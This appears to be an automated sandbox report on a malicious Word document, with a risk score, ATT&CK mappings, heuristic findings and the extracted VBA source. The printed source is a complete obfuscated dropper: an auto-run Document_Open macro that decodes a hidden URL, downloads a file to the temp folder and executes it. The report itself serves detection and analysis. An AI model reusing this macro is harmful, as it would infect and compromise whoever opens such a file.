MALICIOUS
258
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1105 Ingress Tool Transfer
The sample contains VBA macros, including a Document_Open macro that uses CreateObject to download and execute a file from a URL. The document body explicitly prompts the user to 'Enable content' to view the document, indicating a social engineering lure. The critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' confirms the macro's intent to download and execute a payload.
Heuristics 9
-
ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
²¬·£¦¬¡¦«£³§§¿¸§¶½©»©½¿°§¨¬¢£»§·»¹¿®¥¸¹¾ª®´½§¶¯½·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿²ª°¨¦º¥²£ = ¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹.responseBody -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set ¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹ = CreateObject("microsoft.xmlhttp") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹¶¨¦½¯£²¤¾¼¼»¾µ¹½¨¸¸®»½¸¨¹¤¥¿¹ª¿º®§¾½¶¶¨¤´ = Environ("tmp") + »¿³¬¹¬ª¨®²¬·£¦¬¡¦«£³§§¿¸§¶½©»©½¿°§¨¬¢£»§·»¹¿®¥¸¹¾ª®´½§¶¯½·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿²("\ä§Ú¥T.ÂÛÂ") -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 8935 bytes |
SHA-256: 45a7ae21cc5b832c72085990c5684d377841f7008f65991a04dc3e74d665dbe4 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function »¿³¬¹¬ª¨®²¬·£¦¬¡¦«£³§§¿¸§¶½©»©½¿°§¨¬¢£»§·»¹¿®¥¸¹¾ª®´½§¶¯½·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿²(ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««)
ª²«´¾©¾¼¹«¬°©£²¢¶¿¯¢¡µ¬¸¦´¨¥·¼¶§©©ª§¿»¿³¬¹¬ª¨®²¬·£¦¬¡¦«£³§§¿¸§¶½©»©½¿°§¨¬¢£»§·»¹¿®¥ = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥"
¸¹¾ª®´½§¶¯½·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º» = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
For i = 1 To Len(ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««)
·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹¶¨¦½¯£²¤¾¼¼»¾µ¹½¨¸¸®»½¸¨¹¤¥¿¹ª¿º®§¾½¶¶¨ = InStr(ª²«´¾©¾¼¹«¬°©£²¢¶¿¯¢¡µ¬¸¦´¨¥·¼¶§©©ª§¿»¿³¬¹¬ª¨®²¬·£¦¬¡¦«£³§§¿¸§¶½©»©½¿°§¨¬¢£»§·»¹¿®¥, Mid(ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««, i, 1))
If ·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹¶¨¦½¯£²¤¾¼¼»¾µ¹½¨¸¸®»½¸¨¹¤¥¿¹ª¿º®§¾½¶¶¨ > 0 Then
¤´ª²«´¾©¾¼¹«¬°©£²¢¶¿¯¢¡µ¬¸¦´¨¥·¼¶§©©ª§¿»¿³¬¹¬ª¨®²¬·£¦¬¡¦«£³§§¿¸§¶½©»©½¿°§¨¬¢£»§·»¹¿®¥¸¹¾ª®´½§¶¯½ = Mid(¸¹¾ª®´½§¶¯½·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º», ·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹¶¨¦½¯£²¤¾¼¼»¾µ¹½¨¸¸®»½¸¨¹¤¥¿¹ª¿º®§¾½¶¶¨, 1)
·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶ = ·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶ + ¤´ª²«´¾©¾¼¹«¬°©£²¢¶¿¯¢¡µ¬¸¦´¨¥·¼¶§©©ª§¿»¿³¬¹¬ª¨®²¬·£¦¬¡¦«£³§§¿¸§¶½©»©½¿°§¨¬¢£»§·»¹¿®¥¸¹¾ª®´½§¶¯½
Else
·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶ = ·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶ + Mid(ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««, i, 1)
End If
Next
»¿³¬¹¬ª¨®²¬·£¦¬¡¦«£³§§¿¸§¶½©»©½¿°§¨¬¢£»§·»¹¿®¥¸¹¾ª®´½§¶¯½·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿² = ·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶
End Function
Private Sub Document_Open()
Dim ¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹
Set ¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹ = CreateObject("microsoft.xmlhttp")
Dim ¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹¶¨¦½¯£²¤¾¼¼»¾µ¹½¨¸¸®»½¸¨¹¤¥¿¹ª¿º®§¾½¶¶¨¤´
Dim »¯¯¿¬²¶º£µµ¾¯®½¤¶²¨¼½¥¼¾¨ªº¬³³¬§°®¢¯°»¥»®½¦¾£¬¦£¥³¼ª¥¥²¿¼¢¡«¨´¸²ª®¬®ª»¿«¢¾¾§®«¾¢¿³
Set »¯¯¿¬²¶º£µµ¾¯®½¤¶²¨¼½¥¼¾¨ªº¬³³¬§°®¢¯°»¥»®½¦¾£¬¦£¥³¼ª¥¥²¿¼¢¡«¨´¸²ª®¬®ª»¿«¢¾¾§®«¾¢¿³ = CreateObject("Shell.Application")
¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹¶¨¦½¯£²¤¾¼¼»¾µ¹½¨¸¸®»½¸¨¹¤¥¿¹ª¿º®§¾½¶¶¨¤´ = Environ("tmp") + »¿³¬¹¬ª¨®²¬·£¦¬¡¦«£³§§¿¸§¶½©»©½¿°§¨¬¢£»§·»¹¿®¥¸¹¾ª®´½§¶¯½·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿²("\ä§Ú¥T.ÂÛÂ")
¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹.Open "GET", »¿³¬¹¬ª¨®²¬·£¦¬¡¦«£³§§¿¸§¶½©»©½¿°§¨¬¢£»§·»¹¿®¥¸¹¾ª®´½§¶¯½·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿²("hÖÖÓ://²00.6³.45.1²9/ÖhÂmÂÕ/_ÒÙÖÓÙÖ56ãàA00.ÂÛÂ"), False
¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹.send
²¬·£¦¬¡¦«£³§§¿¸§¶½©»©½¿°§¨¬¢£»§·»¹¿®¥¸¹¾ª®´½§¶¯½·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿²ª°¨¦º¥²£ = ¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹.responseBody
If ¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹.Status = 200 Then
Set ¾®¢³£¿½½¼¿¶º¾§¹¹¬¼¾¹§º£¤¯º©¯»¬¦¿¾··§£µ©³ªµ¿¨¿¾ºª«²¨¢³¡·¯®¡°¶«¹¥µ§¤¸½·¦¨¨©¦¯¼¯´«º«©§¬³«¸¢¥ = CreateObject("adodb.stream")
¾®¢³£¿½½¼¿¶º¾§¹¹¬¼¾¹§º£¤¯º©¯»¬¦¿¾··§£µ©³ªµ¿¨¿¾ºª«²¨¢³¡·¯®¡°¶«¹¥µ§¤¸½·¦¨¨©¦¯¼¯´«º«©§¬³«¸¢¥.Open
¾®¢³£¿½½¼¿¶º¾§¹¹¬¼¾¹§º£¤¯º©¯»¬¦¿¾··§£µ©³ªµ¿¨¿¾ºª«²¨¢³¡·¯®¡°¶«¹¥µ§¤¸½·¦¨¨©¦¯¼¯´«º«©§¬³«¸¢¥.Type = 1
¾®¢³£¿½½¼¿¶º¾§¹¹¬¼¾¹§º£¤¯º©¯»¬¦¿¾··§£µ©³ªµ¿¨¿¾ºª«²¨¢³¡·¯®¡°¶«¹¥µ§¤¸½·¦¨¨©¦¯¼¯´«º«©§¬³«¸¢¥.Write ²¬·£¦¬¡¦«£³§§¿¸§¶½©»©½¿°§¨¬¢£»§·»¹¿®¥¸¹¾ª®´½§¶¯½·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿²ª°¨¦º¥²£
¾®¢³£¿½½¼¿¶º¾§¹¹¬¼¾¹§º£¤¯º©¯»¬¦¿¾··§£µ©³ªµ¿¨¿¾ºª«²¨¢³¡·¯®¡°¶«¹¥µ§¤¸½·¦¨¨©¦¯¼¯´«º«©§¬³«¸¢¥.SaveToFile ¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹¶¨¦½¯£²¤¾¼¼»¾µ¹½¨¸¸®»½¸¨¹¤¥¿¹ª¿º®§¾½¶¶¨¤´, 2
¾®¢³£¿½½¼¿¶º¾§¹¹¬¼¾¹§º£¤¯º©¯»¬¦¿¾··§£µ©³ªµ¿¨¿¾ºª«²¨¢³¡·¯®¡°¶«¹¥µ§¤¸½·¦¨¨©¦¯¼¯´«º«©§¬³«¸¢¥.Close
End If
»¯¯¿¬²¶º£µµ¾¯®½¤¶²¨¼½¥¼¾¨ªº¬³³¬§°®¢¯°»¥»®½¦¾£¬¦£¥³¼ª¥¥²¿¼¢¡«¨´¸²ª®¬®ª»¿«¢¾¾§®«¾¢¿³.Open (¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹¶¨¦½¯£²¤¾¼¼»¾µ¹½¨¸¸®»½¸¨¹¤¥¿¹ª¿º®§¾½¶¶¨¤´)
End Sub
Attribute VB_Name = "NewMacros"
Sub Oriuuhgj()
'
' Oriuuhgj Macro
'
'
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.